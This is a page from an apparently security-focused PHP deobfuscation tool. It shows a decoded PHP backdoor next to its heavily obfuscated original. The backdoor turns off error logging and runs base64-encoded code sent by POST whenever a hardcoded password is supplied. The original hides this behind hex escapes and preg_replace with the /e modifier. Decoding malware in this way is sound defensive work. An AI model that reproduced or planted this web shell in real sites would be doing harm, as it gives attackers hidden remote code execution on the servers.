Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$d3sqOg="pr\x65\x67\x5fre\x70l\x61".chr(99)."\x65";$rXOej3A="\x65v\x61".chr(108).chr(40)."..
Decoded Output download
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_POST) && is_array($_POST) && count($_POST)>1)
{
foreach ($_POST as $var)
{
if (!isset($code)) $code = $var;
elseif (!isset($pass)) $pass = $var;
else break;
}
if ($pass == "M48KLVnoHhIpwxN8x8AaCT5uBfOoIwYm")
{
eval(base64_decode($code));
}
}
exit;
Did this file decode correctly?
Original Code
$d3sqOg="pr\x65\x67\x5fre\x70l\x61".chr(99)."\x65";$rXOej3A="\x65v\x61".chr(108).chr(40)."\x62\x61\x73".chr(101).chr(54)."\x34_\x64\x65\x63o".chr(100)."\x65".chr(40).chr(34).chr(81)."\x47".chr(86).chr(121)."\x63".chr(109).chr(57)."y\x583".chr(74)."\x6c".chr(99)."\x47\x39".chr(121)."\x64\x47lu\x5A".chr(121)."\x67".chr(119)."KT\x73K".chr(81)."\x47\x6c\x75".chr(97)."V".chr(57)."\x7A".chr(90).chr(88)."\x51".chr(111)."\x49".chr(109).chr(82)."p\x633BsY\x58\x6c\x66ZX".chr(74).chr(121).chr(98)."\x33\x4a\x7a".chr(73).chr(105)."ww\x4B".chr(84).chr(115)."K\x51\x47\x6c\x75".chr(97).chr(86)."\x39\x7a\x5aX\x51o\x49m".chr(120)."v".chr(90)."\x319\x6cc".chr(110)."Jvc\x6E".chr(77)."\x69\x4CDA\x70Owp\x41".chr(97)."\x575".chr(112)."X".chr(51)."Nld\x43\x67".chr(105)."Z\x58".chr(74).chr(121).chr(98)."3\x4a\x66\x62\x47\x39".chr(110)."I\x69".chr(119)."\x77".chr(75).chr(84).chr(115)."K\x43".chr(109)."\x6C".chr(109)."\x49\x43h\x70\x63\x33\x4E\x6cd\x43\x67\x6bX1BP\x551".chr(81)."\x70IC\x59".chr(109)."\x49G\x6C".chr(122)."\x582\x46\x79\x63".chr(109).chr(70)."5\x4bCR\x66\x55E".chr(57)."T\x56Ck\x67".chr(74)."\x69Y\x67\x59\x32".chr(57).chr(49)."\x62n".chr(81)."oJ\x46\x39\x51".chr(84)."\x31N".chr(85)."K".chr(84)."4xK\x51p7C\x67l\x6Db\x33\x4a\x6cY".chr(87)."N\x6F".chr(73).chr(67)."\x67".chr(107).chr(88)."\x31".chr(66)."\x50".chr(85)."1Qg".chr(89)."X".chr(77)."gJ".chr(72)."\x5a".chr(104).chr(99).chr(105)."k".chr(75)."\x43\x58s".chr(75)."\x43".chr(81)."lp".chr(90).chr(105)."\x41".chr(111)."IW".chr(108)."\x7a\x632\x56\x30".chr(75).chr(67)."\x52\x6a\x622R\x6C\x4b\x53".chr(107)."\x67\x4a".chr(71)."\x4e\x76Z\x47U\x67".chr(80).chr(83).chr(65)."\x6B\x64\x6D\x46".chr(121).chr(79)."\x77oJ\x43\x57".chr(86)."\x73c".chr(50)."Vp\x5a\x69".chr(65).chr(111)."I".chr(87)."lz".chr(99).chr(50)."\x560".chr(75)."C\x52".chr(119).chr(89)."\x58".chr(78)."\x7A\x4B".chr(83)."k".chr(103)."\x4a".chr(72).chr(66)."\x68c\x33".chr(77)."g".chr(80)."S".chr(65)."k".chr(100).chr(109).chr(70).chr(121)."Owo".chr(74)."\x43W".chr(86)."\x73".chr(99).chr(50).chr(85)."g".chr(89)."n".chr(74)."\x6C".chr(89).chr(87).chr(115)."\x37C".chr(103)."l\x39".chr(67)."\x67o\x4a\x61W\x59\x67K\x43R".chr(119)."\x59\x58\x4E\x7a\x49\x4409".chr(73).chr(67)."\x4a\x4EN\x44h".chr(76)."\x54".chr(70)."\x5Au\x62".chr(48)."\x68\x6f".chr(83).chr(88)."\x42\x33\x65E".chr(52)."4\x65\x44".chr(104)."\x42Y".chr(85)."N".chr(85)."N".chr(88)."\x56C\x5a".chr(107)."\x39\x76\x53Xd".chr(90)."b".chr(83)."\x49p".chr(67)."\x67l\x37C".chr(103)."\x6b\x4AZ\x58".chr(90).chr(104).chr(98)."C".chr(104).chr(105)."\x59".chr(88).chr(78)."\x6C".chr(78)."j\x52\x66ZG".chr(86).chr(106)."b\x32\x52l\x4b\x43R".chr(106)."\x62\x32\x52\x6C".chr(75)."Sk\x37C".chr(103)."\x6C\x39C\x6e0K\x5A".chr(88)."\x68".chr(112).chr(100).chr(68).chr(115)."\x3d\x22\x29)\x3b";$xbr698g="\x2f46\x35\x31\x61".chr(97)."\x34\x62\x65\x37\x31".chr(101).chr(97)."c\x33".chr(51).chr(56)."5b\x32\x66\x38".chr(100)."94\x64\x33a".chr(53).chr(49).chr(48)."\x36/e";$d3sqOg($xbr698g,$rXOej3A,"465\x31\x61\x61\x34".chr(98)."\x65\x371\x65\x61\x63\x33\x33".chr(56).chr(53)."\x62".chr(50)."\x668".chr(100).chr(57)."\x34d".chr(51).chr(97).chr(53)."\x31\x30".chr(54));
Function Calls
| chr | 184 |
| preg_replace | 1 |
| base64_decode | 1 |
Stats
| MD5 | fa0ffcb8cc0b1d71dd0ea1e4234d1a89 |
| Eval Count | 2 |
| Decode Time | 267 ms |